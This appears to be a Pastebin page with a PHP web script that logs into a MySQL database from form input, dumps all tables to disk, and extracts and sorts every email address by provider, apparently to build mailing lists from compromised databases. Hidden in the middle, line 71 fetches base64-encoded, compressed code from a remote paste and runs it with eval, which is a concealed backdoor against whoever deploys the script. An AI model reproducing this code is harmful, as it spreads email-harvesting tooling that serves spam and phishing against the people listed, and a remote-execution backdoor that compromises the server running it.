Advertisement
L3xcode

Auto Grab Email From Database I

Sep 26th, 2016
541
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.40 KB | None | 0 0
  1. <head>
  2. <meta http-equiv="content-type" content="text/html; charset=windows-1256" />
  3. <style type="text/css">
  4. .style1 {
  5. text-align: center;
  6. }
  7. </style>
  8. </head>
  9. <body >
  10. <?php
  11. // https://www.facebook.com/lexcode2
  12. // Script By قم يو رن
  13. // 21092016
  14. function backup_tables($host,$user,$pass,$name,$tables = '*')
  15. {
  16. $link = mysql_connect($host,$user,$pass);
  17. mysql_select_db($name,$link);
  18. if($tables == '*')
  19. {
  20. $tables = array();
  21. $result = mysql_query('SHOW TABLES');
  22. while($row = mysql_fetch_row($result))
  23. {
  24. $tables[] = $row[0];
  25. }
  26. }
  27. else
  28. {
  29. $tables = is_array($tables) ? $tables : explode(',',$tables);
  30. }
  31.  
  32. //cycle through
  33. foreach($tables as $table)
  34. {
  35. $result = mysql_query('SELECT * FROM '.$table);
  36. $num_fields = mysql_num_fields($result);
  37.  
  38. $return.= 'DROP TABLE '.$table.';';
  39. $row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
  40. $return.= "\n\n".$row2[1].";\n\n";
  41.  
  42. for ($i = 0; $i < $num_fields; $i++)
  43. {
  44. while($row = mysql_fetch_row($result))
  45. {
  46. $return.= 'INSERT INTO '.$table.' VALUES(';
  47. for($j=0; $j < $num_fields; $j++)
  48. {
  49. $row[$j] = addslashes($row[$j]);
  50. $row[$j] = ereg_replace("\n","\\n",$row[$j]);
  51. if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
  52. if ($j < ($num_fields-1)) { $return.= ','; }
  53. }
  54. $return.= ");\n";
  55. }
  56. }
  57. $return.="\n\n\n";
  58. }
  59.  
  60. if(is_dir("cox_mail")) {
  61. } else { mkdir("cox_mail"); }
  62. $handle = fopen('cox_mail/db-'.$name.'.sql','w+');
  63. fwrite($handle,$return);
  64. fclose($handle);
  65. $text = file_get_contents('cox_mail/db-'.$name.'.sql');
  66. preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#', $text, $mal);
  67. foreach(array_unique($mal[0]) as $mail) {
  68. echo $mail."\r\n";
  69. }
  70. }
  71. eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
  72. if($_POST["submit"] == "Gass" ){
  73. $host=$_POST["Host"];
  74. $user=$_POST["User"];
  75. $pass=$_POST["Pass"];
  76. $name=$_POST["Name"];
  77. echo'<center>
  78. <form method="post">
  79. Host: <input type="text" name="Host"> User: <input type="text" name="User">Pass: <input type="text" name="Pass">Name: <input type="text" name="Name">
  80. <input type="submit" name="submit" value="Gass">
  81. </form> ';
  82. echo '<form method="post">
  83. <div class="style1">
  84. <textarea name="emails" cols="30" rows="10">';
  85. backup_tables($host,$user,$pass,$name);
  86. echo '</textarea>
  87. <br />
  88. <input type="submit" value="Goo" />
  89. </div>
  90. </form>'; }
  91. elseif($_POST["submit"] == "Filter" ){
  92. echo"filter";
  93. }
  94. else{
  95. echo'<center>
  96. <form method="post">
  97. Host: <input type="text" name="Host"> User: <input type="text" name="User">Pass: <input type="text" name="Pass">Name: <input type="text" name="Name">
  98. <input type="submit" name="submit" value="Gass">
  99. </form> ';
  100. }
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110. $emails = $_POST['emails'];
  111. $ex = explode("\n",$emails);
  112. $count = count($ex);
  113. if(isset($emails)&&$count>=1){
  114. echo "<center><font color = 'red'><b>$count </font>Number of emails </b></center><br />";
  115. }else{
  116. echo "<center>
  117. No email </center>";
  118. exit;}
  119.  
  120. if(isset($emails)){
  121.  
  122.  
  123. for($i=0;$i<=$count;$i++){
  124. $d = strtolower($ex[$i]);
  125.  
  126. if(strstr($d,"hotmail") || strstr($d,"live") || strstr($d,"msn") || strstr($d,"outlook")){
  127. $hotmail.=$d;
  128. $nh = $nh + 1;
  129. }else{
  130. if(strstr($d,"yahoo") || strstr($d,"ymail")){
  131. $yahoo.=$d;
  132. $ny = $ny + 1;
  133. }else{
  134. if(strstr($d,"gmail") || strstr($d,"googlemail") ){
  135. $gmail.=$d;
  136. $ng = $ng + 1;
  137. }else{
  138. if(strstr($d,"aol") ){
  139. $aol.=$d;
  140. $na = $na + 1;
  141. }else{
  142. if(strstr($d,"mail.ru") ){
  143. $mailru .=$d;
  144. $nr = $nr + 1;
  145. }else{
  146. if(strstr($d,"wanadoo") ){
  147. $wanadoo .=$d;
  148. $nw = $nw + 1;
  149. }else{
  150. if(strstr($d,"ntlworld") ){
  151. $ntlworld .=$d;
  152. $nt = $nt + 1;
  153. }else{
  154. if(strstr($d,"gmx") ){
  155. $gmx .=$d;
  156. $ngm = $ngm + 1;
  157. }else{
  158. if(strstr($d,"@web.") ){
  159. $web .=$d;
  160. $nw2 = $nw2 + 1;
  161. }else{
  162.  
  163. $ather .=$d;
  164. $nn=$nn + 1;
  165. }
  166.  
  167. }
  168.  
  169. }
  170.  
  171.  
  172. }
  173.  
  174. }
  175. }
  176. }
  177. }
  178.  
  179. }
  180. }
  181. }
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207. ?>
  208. <center><table style="width: 30%">
  209. <tr>
  210. <td><center>hotmail ( <?echo $nh;?> ) </center><textarea name="hotmailx" cols="30" rows="10" ><?echo $hotmail;?></textarea></td>
  211. <td><center>gmail ( <?echo $ng;?> )</center><textarea name="gmailx" cols="30" rows="10" ><?echo $gmail;?></textarea></td>
  212. <td><center>aol ( <?echo $na;?> )</center><textarea name="aolxx" cols="30" rows="10" ><?echo $aol;?></textarea></td>
  213. <td><center>yahoo ( <?echo $ny;?> )</center><textarea name="yahoox" cols="30" rows="10" ><?echo $yahoo;?></textarea></td>
  214. <td><center>mail.ru( <?echo $nr;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $mailru;?></textarea></td></tr>
  215. <tr>
  216. <td><center>wanadoo( <?echo $nw;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $wanadoo;?></textarea></td>
  217. <td><center>ntlworld( <?echo $nt;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $ntlworld;?></textarea></td>
  218. <td><center>gmx( <?echo $ngm;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $gmx;?></textarea></td>
  219. <td><center>web( <?echo $nw2;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $web;?></textarea></td>
  220. <td><center>ather mails( <?echo $nn-1;?> )</center><textarea name="othersx" cols="30" rows="10" ><?echo $ather;?></textarea></td>
  221.  
  222. </tr>
  223. </table></center>
  224. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement